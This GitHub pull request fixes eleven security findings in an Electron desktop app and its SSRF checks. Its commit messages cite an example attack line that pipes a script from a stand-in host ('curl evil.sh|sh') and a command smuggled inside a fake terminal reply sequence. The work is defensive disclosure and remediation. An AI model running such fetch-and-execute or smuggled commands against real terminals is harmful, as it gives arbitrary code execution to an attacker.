Skip to content

fix(desktop): fix 11 security findings from a deepsec scan of the desktop app - #6065

Merged
waleedlatif1 merged 16 commits into
stagingfrom
worktree-deepsec-desktop
Jul 29, 2026
Merged

fix(desktop): fix 11 security findings from a deepsec scan of the desktop app#6065
waleedlatif1 merged 16 commits into
stagingfrom
worktree-deepsec-desktop

Conversation

@waleedlatif1

@waleedlatif1 waleedlatif1 commented Jul 29, 2026

Copy link
Copy Markdown
Collaborator

Summary

Ran Vercel's deepsec over the desktop trust boundary and fixed everything it found. 11 findings survived revalidation; all 11 are fixed here.

Scope was three projects, not just apps/desktop: the Electron shell, the four packages its bridge contract depends on, and the apps/sim surface it talks to (handoff mint, /api/desktop/*, update feed, the copilot client tools that route to native capability).

The HIGH. terminal:write is a send channel gated only by app-origin, and the send branch ran no other check — so terminal.start() then write(id, 'curl evil.sh|sh\r') was arbitrary command execution from an XSS'd or hostile origin. The tool-authorization binding covers terminal:execute-tool only.

deepsec recommended gating on panel focus ownership. That would not have worked — terminal:focused is itself a renderer-asserted send channel the same attacker can set, so it would have closed the finding on paper and left the RCE intact. The real trust anchor is Chromium's input-event, which reaches main before the renderer and cannot be synthesized by page script.

This is a mitigation, not a closure, and the code says so. Text without a submit still reaches the shell's line buffer, and the recency window is satisfied by any input in the renderer — a scroll, a keystroke in the chat — not by the user's own Enter. Closing it needs a consume-once correspondence or the interactive path off the renderer surface entirely. Both are bigger than a gate change.

The rest: the spoofable user-activation check (navigator.userActivation read out of world 0, which a compromised page redefines in one line) shared the HIGH's root cause and is fixed with it. Credential fields in closed shadow roots reported safe to the trusted-keystroke guard. autocomplete was matched by whole-string equality, so the WebAuthn-recommended current-password webauthn slipped through. OTP and payment values were emitted verbatim in snapshots. Subresource SSRF — a public hostname with a private A record reached internal services, with a WebSocket read primitive on top. A copy consent authorized a plaintext reveal. The manual updater handed a manifest-controlled URL to shell.openExternal — the only one in the app skipping openExternalSafe. Plus a tmux temp-dir leak and an unhandled rejection on the loopback callback.

Consolidation. Five independent dns.lookup bodies became one @sim/security/dns. Two divergences mattered: callers judged one resolved address, so a host publishing both a public and a private record passed on record order (validateUrlWithDNS alone has ~70 call sites), and only the desktop copy bounded the lookup. node:dns lands on its own subpath, so apps/realtime is untouched — prune graph still 14 workspaces.

Behaviour changes

These are not all security-neutral. Worth reading before merge.

No functional change — invisible unless attacked: the spoofable user-activation replacement (a real click satisfied both the old and new check), the handoff unhandled-rejection containment (success path identical), the tmux temp-dir reclaim, and the updater scheme/host validation (official Developer-ID builds take the signature-verifying electron-updater engine, so that code never runs there).

Deliberate — the agent can now do less. Each is the point of the fix, but each is a capability reduction:

Change What stops working
Multi-token autocomplete Agent refuses to type into fields marked current-password webauthn. It could before.
OTP/payment withholding Agent can no longer read a card number or OTP from a snapshot. It can still fill them.
Closed shadow root → opaque Agent refuses keystrokes on a focused element that is not focusable in its own right.
Credential grant exact match reveal → copy now costs two OS prompts where it cost one.
Subresource SSRF Agent-browser pages whose hosts resolve to private IPs have their scripts, xhr and WebSockets blocked. Pointing the agent browser at an internal app breaks.

The widest blast radius is in apps/sim, not the desktop app. The DNS consolidation changes outbound validation for every Sim user, not just desktop:

  • validateUrlWithDNS (~70 call sites, every outbound tool HTTP call) now judges all resolved addresses and filters the refused ones, pinning a survivor. A host whose records are all private is now definitively rejected where it could previously pass on record order.
  • MCP domain-check and 1Password Connect now throw if any address is private. Before, only the IPv4-preferred one was checked — so a host with a public A record and a private co-record used to work and now fails.
  • A 5s DNS deadline where there was none: a hung resolver now fails fast instead of holding a request handler open.
  • The localhost carve-out narrowed — localhost that also resolves off-loopback no longer rides it.

Two regressions were found in review and fixed rather than documented (7712e09dd): the context-menu paste could be silently dropped when its awaited clipboard read outran the input-recency window — it now reads the clipboard in main, which removes the window and keeps the clipboard away from the renderer, per Electron's RFC 0019 direction; and a reclaimed run directory could print No such file or directory into the user's own tmux window minutes after they closed the tab.

Reviewing this

Read the diff, not the commit log. Nine review agents went over these fixes and found real defects in them, so several early commits describe behaviour a later commit changed:

  • 73570c716 argues for an ordering (reveal covers copy). Inverted to exact match — copy publishes plaintext to the pasteboard, which every process can read, clipboard managers persist past the 30s clear, and Universal Clipboard syncs off-device. The two are incomparable.
  • 09b40cb2e says loopback http stays allowed. Dropped — the feed rewrites every asset to https://github.com/..., so no legitimate asset is ever http.
  • fc9469fca is reverted in full by c18f4d38e. Occlusion fires on tooltips (hover) and toasts (no input), and the renderer never clears panelSnapshot, so withholding a frame showed the previous one while the already-delivered frame stayed readable. Net negative on both axes.
  • 7782a569d says "all seven copies". There were eight; the browser preload's had drifted while its comment claimed parity.
  • a99223d14 reads as channel-wide. Narrowed to payloads that are not solicited PTY replies — \r is not the only submit (0x04 hands a partial line to a canonical-mode reader; 0x0f executes in both bash and zsh), and it is not a closed set.

Also worth knowing: the XHTML tagName fix was half-applied in one round and briefly turned a cross-origin iframe's opaque into safe. Fixed in 592c067df.

Deliberately not done

  • activeElementSecrecy still reports safe for a closed-shadow host carrying tabindex/contenteditable. A closed root is indistinguishable from no root — that is what mode: 'closed' buys the page — and refusing focusable-in-their-own-right elements would block Enter/Space on ordinary <div tabindex="0"> buttons. Documented in place rather than papered over.
  • The release-repo identity is now three facts (electron-builder.yml, update-feed.ts, updater.ts). A rename publishes fine, rewrites fine, then rejects every asset into a hard update error that CI cannot catch, since the test asserts the same string. packages/desktop-bridge is the right home.
  • isSecretField is seven copies and this branch patched all seven identically. execInPage builds its own expression string, so a shared helper prelude is possible — the serialization contract forbids closures, not composition.
  • activeElementSecrecy is a page-derived signal authorizing trusted CDP keystrokes, with a .catch(() => 'safe') fail-open. Accessibility.getFullAXTree pierces closed shadow roots from the browser process and cdp.ts already exists.
  • The non-biometric fallback dialog still has defaultId: 1, so a reflexive Enter confirms a reveal. UX call, not mine.

Type of Change

  • Bug fix

Testing

Desktop 50 test files / 817 tests, packages/security 8 / 115, plus the apps/sim security and MCP suites. Every new test was verified to fail before its fix by reverting it — including the exploit case write(id, 'curl evil.sh|sh\r').

Gates: typecheck across all three surfaces, repo lint:check (23/23), check:desktop-ipc, check:desktop-bridge, check:utils, check:boundaries, check:realtime-prune, check:client-boundary, check:api-validation.

Not manually run in a packaged build. The terminal reply path (0x04, mode-1004 focus reports under tmux/vim) and the agent-browser subresource guard are the two worth a live smoke test before release.

Checklist

  • Code follows project style guidelines
  • Self-reviewed my changes
  • Tests added/updated and passing
  • No new warnings introduced
  • I confirm that I have read and agree to the terms outlined in the Contributor License Agreement (CLA)

The `needsUserActivation` gate asked the renderer about
`navigator.userActivation` via `frame.executeJavaScript`, which evaluates in
the page's main world — the same world as the compromised page the gate exists
to stop, which need only redefine `navigator.userActivation` to pass it. The
channels with no native confirmation behind them (`browser-credentials:forget`,
`forget-all`, `browser-agent:clear-browsing-data`) had that as their only
protection, so a background script could wipe the saved-password vault.

`terminal:write` had no second gate at all. It is a `send` channel, and the
send branch ran only the origin and feature checks, so an XSS'd or hostile app
origin reached arbitrary command execution: `terminal:start` for an id, then
`write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing
`\r`. The tool-authorization binding covers `terminal:execute-tool` only.

Both now answer from the main process's own record of OS input. Chromium
delivers every input event to main before the renderer sees it and page script
cannot synthesize one, so unlike panel focus (`terminal:focused`, a
renderer-asserted claim the same attacker can set) it is a real boundary.
Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove`
arrive whenever the cursor rests over the window.
…it window

`startRun` makes a temp directory per run holding the tee target and the status
file, and only its handle can remove it. `runInTmux` disposed the handle on the
`outcome.done` branch only — on the still-running path the handle was a local
that went out of scope, and nothing polls that run again (`read` captures the
pane instead). With a 30s default wait, every longer command leaked its
`/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept
appending the full output to it.

Handles for still-running commands are now held per terminal and reclaimed by
the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run
on the same terminal first reaps any whose status file has since appeared. No
reaper timer — the new-run path is already doing run bookkeeping. Live runs are
left alone, since their tee is still writing there.

Not a security issue: the directories are 0700 in the per-user tmpdir and tmux
reaps the window itself. It is unbounded disk and inode growth.
…lable

`handleCallback` awaited `deps.ensureMainWindow()` as its first statement with
no try/catch, and index.ts dispatches it fire-and-forget as
`void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws
`Main window unavailable`, and main registers no `unhandledRejection` handler,
so a user who closed the window while signing in through their browser turned
the loopback callback into an unhandled rejection. `beginLoginHandoff` had the
same shape, so both are fixed rather than one.

Both entry points now resolve the window through a helper that records the
failure via the existing `handoff_redeem_fail` event and returns null, and the
two `void` dispatch sites carry a `.catch()` backstop for anything the flows do
not record themselves. Not attacker-triggerable: `onLogin` fires only after
`matchesPending()` validates the state that only the user's own browser holds.
… allowlist

`buildManualEngine` regex-extracted `url:` values from the manifest served by
the configured origin and handed the first `.dmg`/`.zip` straight to
`shell.openExternal` — the only openExternal in non-test code that skipped
`openExternalSafe`, whose own docs state "Every openExternal in the app goes
through here". A hostile feed, or a hostile self-host origin the user was
tricked into configuring, could return `version: 999.0.0` plus
`url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so
a Download click handed an arbitrary scheme to the macOS URL handler, launching
a registered protocol handler instead of downloading.

Candidates are now filtered with `isSafeExternalUrl` at selection, so an
unusable url is never advertised as an available update at all, and the open
goes through `openExternalSafe` so the allowlist also holds at the sink.
Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin,
so a self-host on localhost is legitimate.

Reachability is capped: `detectSelfUpdateCapability` selects the
signature-verifying electron-updater engine on Developer-ID builds, so the
manual engine runs only on ad-hoc-signed local/CI prerelease builds.
`provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and
read it without reference to what the caller was about to do. `copyCredential`
puts the plaintext on the clipboard from inside main and returns a boolean;
`revealCredential` returns the string itself to the renderer. With one
undifferentiated grant, approving a native "Copy password?" prompt silently
authorized a plaintext reveal for the remaining 30s with no second prompt — the
OS prompt is the only human-in-the-loop control on plaintext egress, and its
label described something weaker than what it granted.

Grants now carry their operation and are compared with an ordering rather than
equality: reveal is the stronger claim, so a reveal grant still covers a later
copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS
was designed for (the plaintext is already on screen, so re-prompting to put
that same string on the clipboard buys nothing). Only the weaker-implies-
stronger direction is closed.

`operation` is required rather than optional so the compiler names every call
site; it found both.

Not addressed, deliberately: the non-biometric fallback still uses
`defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left
for a decision rather than folded in here.
The agent partition's onBeforeRequest ran the resolving guard for mainFrame and
subFrame only; everything else fell to isBlockedRequestUrl, which sees literal
IPs and returns false for any hostname by design. A public name with a static
private A record therefore reached internal services from a page the agent was
steered to — no rebinding required. The vectors that matter are the ones whose
response comes back or runs: a WebSocket to an internal server reads data frames
cross-origin because such servers commonly ignore Origin, and a script or xhr
response executes in the page or is readable.

Subresources now take isBlockedSubresourceUrl, with the verdict cached per host
(30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per
asset. Images and fonts keep the synchronous path: high volume, not readable
cross-origin, leaving the load/error timing oracle as the accepted residual.

The exemption is expressed as what skips the check, not what gets it, so a
resource type Chromium labels unexpectedly fails safe into the checked path —
fetch is `xhr` on some versions and `other` on others, and an allowlist that
missed the label in use would silently reopen the hole.

Resolver errors fail closed, matching checkAgentUrl, and that verdict is not
cached so a transient failure does not stick. The deliberate loopback carve-out
is unchanged — isBlockedAddress already exempts it on both paths.
…nctions

Closed shadow roots. activeElementSecrecy is the only gate the driver consults
before dispatching trusted CDP keystrokes, and it descended focus solely through
`active.shadowRoot` — null by design for a closed root, while focus inside one
retargets to the host, whose tagName is never INPUT. So a password field in a
closed root reported 'safe', and Tab crosses closed boundaries natively. Now
treated like a cross-origin frame. Detected by focusability rather than by tag:
attachShadow accepts plain div/span/section as well as custom elements, so a
tag test would miss half of them, whereas an element that is not focusable in
its own right cannot be activeElement unless focus was retargeted out of a
shadow tree.

Multi-token autocomplete. isSecretField compared the whole attribute against
'current-password'/'new-password', but the spec allows space-separated detail
tokens and WebAuthn recommends `current-password webauthn`. Those values fell
through on exactly the type=text credential fields where autocomplete is the
only signal. Now split into tokens, in all seven copies — the duplication is
required by the `String(fn)` serialization contract, so consolidating was not an
option.

OTP and payment values. Deliberately NOT added to isSecretField: that helper
also gates keystrokes, so folding them in would have stopped the agent
completing a checkout or an OTP prompt — work it is legitimately asked to do.
A separate predicate withholds only the value at the two emission sites, and the
field is still reported with its real tag so the agent can fill it.
…nderer

capturePanelSnapshot sent a JPEG of the agent browser's current page to the app
renderer, which is content that renderer's own JS cannot otherwise read — the
view is a separate process composited over the window. A compromised renderer
can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself,
so it could aim the shared agent browser at a site with a persisted session and
collect its pixels by script alone, bypassing the tool-call binding that guards
browser_screenshot for exactly this reason.

The frame is now withheld unless the main process has seen recent real input in
that renderer, which is what an overlay opening actually represents. The
flicker-prevention behaviour is untouched: an empty capture already returns
before the send while `finally` still runs the occlusion, so "occlude without a
placeholder" is a path the state machine already handles rather than a new one.
Six review agents went through the branch line by line. Several of the fixes
were wrong, incomplete, or worse than the finding they closed.

terminal:write was gated on the whole channel, which is a functional break, not
a fix. That channel carries xterm.js's entire upstream stream, and much of it is
not typing: the PTY solicits replies the terminal must answer unprompted — DSR
cursor position (p10k/starship emit it every prompt), device attributes, focus
reports set by tmux and vim. Now only a payload that can submit (one containing
a newline) needs input behind it. Also stated plainly in the code: this is a
mitigation. Text without a newline still lands in the line buffer where the
user's own Enter submits it, and closing that needs the interactive path off the
renderer surface, not a better gate.

The panel occlusion gate is reverted outright. Occlusion is driven by any
element marked data-native-surface-overlay, which includes tooltips (hover, and
hover is deliberately not "deliberate input") and toasts (no input at all), so
the common case regressed. Worse, the renderer only ever sets panelSnapshot and
never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the
exact defect panel.test.ts was written to prevent — while the already-delivered
frame stays readable. Net negative on both axes.

The credential grant ordering is inverted to exact match. reveal was treated as
dominating copy, but copy publishes plaintext to the macOS pasteboard: readable
by every process, persisted by clipboard managers past the 30s clear, and synced
to other devices by Universal Clipboard. The operations are incomparable.

Update downloads are constrained to the release asset prefix, not just to https.
The feed rewrites every entry to github.com/simstudioai/sim/releases/download/,
so nothing legitimate is excluded — while scheme-only validation still admitted
an attacker-hosted DMG that the download dialog walks the user through
installing, which is worse than the protocol-handler launch originally fixed.
The loopback exemption is dropped with it: no legitimate asset is ever http.
State goes to 'error', not 'idle', so a blocked shell is not told it is current.

Subresource DNS verdicts cache the promise, not the boolean. Caching only the
result left every request arriving before the first lookup settled to start its
own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with
every fs call in main — a page naming hundreds of hosts could stall the settings
write and the credential vault.

Also: an eighth copy of the credential-token vocabulary in the browser preload
was missed by the original commit while its comment claimed parity, so fill went
blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength
and told the agent a successful fill was still empty, inviting a doubled code;
tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT
are focusable and no longer report opaque; drags count as input; a backwards
clock step no longer satisfies a recency gate; and clearing cache or profile now
clears resolved-host verdicts too.

The closed-shadow residual is documented rather than closed: a host carrying
tabindex or contenteditable still reports safe, and refusing those would block
Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is
indistinguishable from no root at all.
…ll addresses

Five independent `dns.lookup` bodies existed — four in apps/sim
(validateUrlWithDNS, the database-host check, MCP domain-check, 1Password
Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were
copy-paste identical, and two properties diverged in ways that mattered:

They classified ONE address. `resolved.find(family === 4) ?? resolved[0]`
picked an address to pin and then judged only that one, so a host publishing
both a public and a private record passed whenever the public record sorted
first. That is record order, not policy, and validateUrlWithDNS alone is reached
from ~70 call sites. Now every address is classified and the IPv4-preferred one
is still what gets returned to pin — the pinning rationale (Happy Eyeballs
fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is
untouched.

They had no deadline. Only the desktop copy bounded the lookup, so a hung
resolver could hold an apps/sim request handler open indefinitely. The shared
helper carries the 5s deadline, the swallowed late rejection, and the always
cleared timer.

`resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the
`node:dns` dependency reaches only the servers that import it — apps/realtime
pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged
at 14 workspaces.

Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a
socket-connect `LookupFunction` that needs raw entries with their family and
already validates every address, and desktop's per-host verdict cache keeps its
own loopback policy on top of the shared resolver.

The localhost carve-out is tightened as a consequence: it applies only when
every record is loopback, so `localhost` that also resolves to the LAN no longer
rides it.
validateUrlWithDNS rejected a host outright when any resolved address was
private, while createSsrfGuardedLookup in the same file filters the private
entries and connects to what remains. Filtering is equally safe — you pin a
surviving public address — and rejecting broke a split-horizon resolver that
answers with a private record alongside the public one, on a path with ~70 call
sites and no operator opt-out. The pin is re-preferred over the surviving set so
it can never be an address the filter just refused.

Also from the review round: the browser preload's isPasswordField and
findIdentifierField now split autocomplete tokens like the agent guards they
claim parity with (a WebAuthn `current-password webauthn` field was invisible to
credential fill); the subresource verdict cache holds the promise rather than the
boolean, so the requests one page fires at a host share a lookup instead of each
queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs
calls also use; trailing-dot hosts normalize to one cache entry; the resolver
carries a distinct DnsTimeoutError so an outage is not reported as a missing
host; and clearHostVerdictCache is wired into both the profile wipe and the
cache-clear path, since a resolved-host classification is browsing-trail data.
…rmalization

Three defects from the second review round, two of them in the previous
round's corrections.

The tagName upper-casing was half-applied and made things worse. `focusableItself`
compared the normalized tag while the frame-descent branch thirty lines below
still compared raw `active.tagName`. In an XHTML document — where tagName is
lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore
passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch
(active.tagName === 'iframe'), fell through, and returned 'safe': the verdict
that authorizes trusted CDP keystrokes. Before the correction the same page
returned 'opaque'. Now normalized once per loop body and used at every
comparison, in readActiveElementState too.

The submit gate enumerated the dangerous set, which is not a closed set. Besides
carriage return and newline, 0x04 hands a partial line straight to a
canonical-mode reader, and 0x0f is operate-and-get-next in bash and
accept-line-and-down-history in zsh — both execute the current line — and a
user's own inputrc or zle bindings can add more. Inverted: the replies the PTY
solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and
everything else is gated, so a binding nobody thought of fails closed.

The residual was understated. The window is satisfied by any input in the
renderer — a keystroke in the chat, a scroll, a drag — not by the user's own
Enter, so a looped payload lands the moment they touch anything, and while they
type in the terminal it is open continuously. Said plainly now, with what
closing it would actually take.

Also: credential grants are keyed on credential AND operation, so exact match no
longer prompts three times for reveal → copy → reveal when each was already
proven; the panel.ts comment the revert deleted collaterally is restored, so the
file leaves this branch untouched; updater's release-asset helpers no longer sit
between feedUrlForOrigin's TSDoc and its function, and the asset path is a
constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so
the recency windows cannot lapse mid-test on a loaded machine; and dead exports
(isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field,
and a shadowed loop binding are cleaned up.
Quality pass from four parallel reviews (reuse, simplification, efficiency,
altitude). No behavior change; every gate is unchanged.

Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the
IPv4-first rule inline — one 106-line file had two implementations of the rule
its own TSDoc says callers depend on. url-guard's three host-normalization sites
had two different rules (only one stripped a trailing dot); they share guardHost
now. os-auth's grace check gained the same backwards-clock guard input-activity
already had, since it is the same kind of security window. And a hand-rolled
IPv6 bracket strip in input-validation.server.ts now calls the
unwrapIpv6Brackets already imported at the top of that file.

Simplification. Credential grants are a nested Map rather than a composite
string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS —
and makes revoke-by-credential a single delete, so a third operation added later
cannot be missed by a revoke that forgot to enumerate it. The 15-term
focusableItself chain is a local array. The 4-line token rationale was pasted
above seven required copies of a 3-line expression; it is stated once now, and
the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled
pattern table rather than six alternations on one line. tagName is upper-cased
once per loop body instead of three times. A side-effecting .filter() is a loop.
senderHasUserGesture's TSDoc no longer documents the implementation it replaced.

Efficiency. The expired-first eviction sweep is removed: every entry gets the
same TTL and a refreshed host is re-inserted at the back, so insertion order IS
expiry order — the sweep could never find an entry the front eviction does not
already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses
ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address
twice. dispose() no longer copies the key set to then get and delete per key.

Also: validateDatabaseHost tests the allow-flag before scanning rather than
after, the blocked-address log line reports the address actually blocked rather
than an arbitrary record, and the preload's two autocomplete-token idioms became
one reader.

Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the
channel gate a predicate (changes the dispatcher shape on both arms); a
consume-once submit gate (behavior change, needs a paste path); folding the
three-way request dispatch into one guardAgentRequest export; hoisting the
release-repo identity into packages/desktop-bridge, which is worth doing and
would make electron-builder.yml, update-feed.ts and updater.ts one fact instead
of three; a shared helper prelude in execInPage so isSecretField stops being
seven copies; and a CDP-sourced focus verdict so the driver stops trusting a
page-derived signal at all. The last three are the ones worth a follow-up.
Comment audit over the branch. ~75 lines removed, no rationale lost. Two of
these were actively misleading and are the reason the pass was worth running.

Three comments still described the terminal gate as newline-keyed after the
predicate was inverted to a reply allowlist, including one asserting "a raw
write only becomes command execution on the trailing \r" — which is exactly the
claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag
carried the same stale name and is now payloadNeedsDeliberateInput, since it
gates every payload that is not a solicited reply, not only submits.

A TSDoc block in the browser preload had been orphaned: the new
autocompleteTokens doc was inserted between isPasswordField and its own
comment, so the doc documented the wrong declaration.

The rest is duplication. The token-membership rationale had been collapsed to
six copies of a pointer at the wrong target — the module header explains the
duplication, not the token rule — so the pointers are gone and the rationale
stays where it is stated in full. The subresource-exemption reasoning was still
in three places; session.ts now points at the two url-guard TSDocs that own it.
The "every address is judged" reasoning was in four places when ResolvedHost
already documents it for every consumer. Also trimmed: a paragraph restating
RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto
AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and
two lines inside one comment block that repeated each other.

Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL
notes, the String(fn) serialization contract in page-functions.ts's header, the
0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and
double-callback notes, and the test comments explaining why a fixture is shaped
as it is. Those record decisions, which is what this repo comments.
@waleedlatif1
waleedlatif1 requested a review from a team as a code owner July 29, 2026 22:26
@vercel

vercel Bot commented Jul 29, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

1 Skipped Deployment
Project Deployment Actions Updated (UTC)
docs Skipped Skipped Jul 29, 2026 11:07pm

Request Review

@cursor

cursor Bot commented Jul 29, 2026

Copy link
Copy Markdown

PR Summary

High Risk
Changes touch authentication-adjacent terminal IPC, SSRF/network guards, credential disclosure, and browser-agent keystroke policy—any regression could restore RCE, leak secrets, or block legitimate browsing; mitigations are documented but terminal write remains a partial fix.

Overview
Addresses eleven validated deepsec findings across the Electron desktop app, shared @sim/security/dns, and related apps/sim SSRF paths.

Terminal and IPC (HIGH). terminal:write no longer forwards arbitrary payloads from app-origin alone. User-gesture checks stop reading navigator.userActivation from the renderer and instead use main-process input-event tracking (hasRecentDeliberateInput / hasRecentDiscreteInput). Non–PTY-reply writes are gated; solicited replies (DSR, focus, mouse, OSC/DCS with bounded bodies) still pass. Adds terminal:paste so clipboard bytes are read in main, plus tighter blocking of smuggled control sequences and submit bytes beyond \r. Sign-in handoff paths catch window failures and attach .catch on fire-and-forget callbacks.

Browser agent page functions. Credential detection now upper-cases tagName (XHTML), tokenizes autocomplete (e.g. current-password webauthn), withholds OTP/payment values via a separate isSensitiveValueField (fill allowed, values redacted), and treats closed shadow roots as opaque for activeElementSecrecy. Browser preload autocomplete parsing matches.

Agent partition SSRF. Readable/executable subresources use isBlockedSubresourceUrl with DNS resolution, per-host verdict cache (TTL, deduped in-flight lookups), and subresourceNeedsResolution; profile/cache clear wipes the cache. DNS logic moves to resolveHostAddresses; server-side validators classify all resolved addresses before pinning.

Credentials and updates. OS auth grants are per operation (reveal vs copy). Manual updater download URLs must be GitHub release assets under openExternalSafe.

Other. Tmux run temp dirs are reaped on terminal dispose; status printf errors are silenced when dirs are gone.

Reviewed by Cursor Bugbot for commit 7712e09. Configure here.

Comment thread apps/desktop/src/main/ipc.ts
Comment thread apps/desktop/src/main/ipc.ts
@greptile-apps

greptile-apps Bot commented Jul 29, 2026

Copy link
Copy Markdown
Contributor

Greptile Summary

Follow-up pass on the desktop deepsec fixes against the prior OSC/DCS write-gate and XHTML tagName threads.

  • Prior OSC/DCS deliberate-input bypass is closed with printable-only reply bodies and regression tests for CR-smuggled payloads.
  • Prior XHTML secret-field tagName miss is closed: all isSecretField / isSensitiveValueField copies upper-case tagName before comparing.

Confidence Score: 5/5

Safe to merge with respect to the prior OSC/DCS write-gate and XHTML secret-field findings; both are fixed at HEAD.

No blocking failure remains from the previous threads; printable-only PTY reply matching and upper-cased secret-field tag checks close the reported paths.

Important Files Changed

Filename Overview
apps/desktop/src/main/ipc.ts PTY reply allowlist uses printable-only OSC/DCS/X10 bodies; deliberate-input gate still covers non-reply writes including CR/EOT/SI.
apps/desktop/src/main/browser-agent/page-functions.ts Secret and sensitive-value field helpers normalize tagName for XHTML; IFRAME/FRAME and active-element paths match.
apps/desktop/src/main/ipc.test.ts Covers fake OSC/DCS/X10 smuggling blocked and genuine replies still forwarded without user input.

Reviews (3): Last reviewed commit: "fix(desktop): paste from main, and stop ..." | Re-trigger Greptile

… closed in XHTML

Both findings are in this PR's own hardening.

The reply allowlist accepted a control byte in its body. DCS and OSC used
`[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its
submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR
BEL` — and be waved through as machine-generated, skipping the deliberate-input
gate entirely and reopening the path the gate exists to close. Bodies are
printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL
and never a control byte. X10 mouse is bounded the same way, since its three
bytes are offset by 32 and a control byte there is never legitimate either.

isSecretField compared tagName raw in all seven copies, and
isSensitiveValueField in both of its. tagName is lower-case for HTML elements in
an XHTML document, so every credential field there read as ordinary — the value
redaction and the keystroke refusal both failed open, on exactly the pages the
predicate exists for. The earlier round upper-cased the frame and focusability
comparisons and missed these nine. Normalized now, with the rule stated once in
the module header rather than nine times.

Both are covered by tests that fail against the previous form: a smuggled
command in each of the three affected patterns, a genuine reply of each still
forwarded, and a lower-case-tagName password field refused for both typing and
snapshot disclosure.
@waleedlatif1

Copy link
Copy Markdown
Collaborator Author

@greptile

@waleedlatif1

Copy link
Copy Markdown
Collaborator Author

@cursor review

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Bugbot reviewed your changes and found no new issues!

Comment @cursor review or bugbot run to trigger another review on this PR

Reviewed by Cursor Bugbot for commit 708dbb3. Configure here.

…into tmux

Fixes the two behavioural regressions rather than shipping them documented.

The context-menu paste could be silently dropped. It read the clipboard with
`await navigator.clipboard.readText()` and then wrote the text, so the write
landed after an await — and if that read outran the input-recency window (a
permission prompt, a slow read) the terminal-write gate refused it with no error
and no log, on an action the user had just asked for.

Reading in main removes the window entirely, and is the direction Electron
itself took: the `clipboard` module was removed from renderers under RFC 0019 so
page content cannot reach the clipboard, and the documented pattern is to use it
in the main process behind a narrow contextBridge method. So `terminal:paste` is
a gated invoke channel that reads the clipboard itself. It needs a real gesture
(the Paste click), but not the write gate — the bytes are the user's clipboard
rather than the caller's, so a compromised renderer can only replay what was
already copied instead of choosing it. `paste` is optional on the bridge and the
renderer falls back to the old path, so a shell that predates it is unaffected.

The tmux status write is silenced. Closing a terminal tab reclaims the run's
temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets
it write on to the unlinked inode, and the space is reclaimed when it exits — but
the command's trailing `printf > .../status` then failed into the pipeline and
printed `No such file or directory` into the user's own tmux window, minutes
after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim
and drops the noise.
@waleedlatif1

Copy link
Copy Markdown
Collaborator Author

@greptile

@waleedlatif1

Copy link
Copy Markdown
Collaborator Author

@cursor review

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Bugbot reviewed your changes and found no new issues!

Comment @cursor review or bugbot run to trigger another review on this PR

Reviewed by Cursor Bugbot for commit 7712e09. Configure here.

@waleedlatif1
waleedlatif1 merged commit 4f776b7 into staging Jul 29, 2026
22 checks passed
@waleedlatif1
waleedlatif1 deleted the worktree-deepsec-desktop branch July 29, 2026 23:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant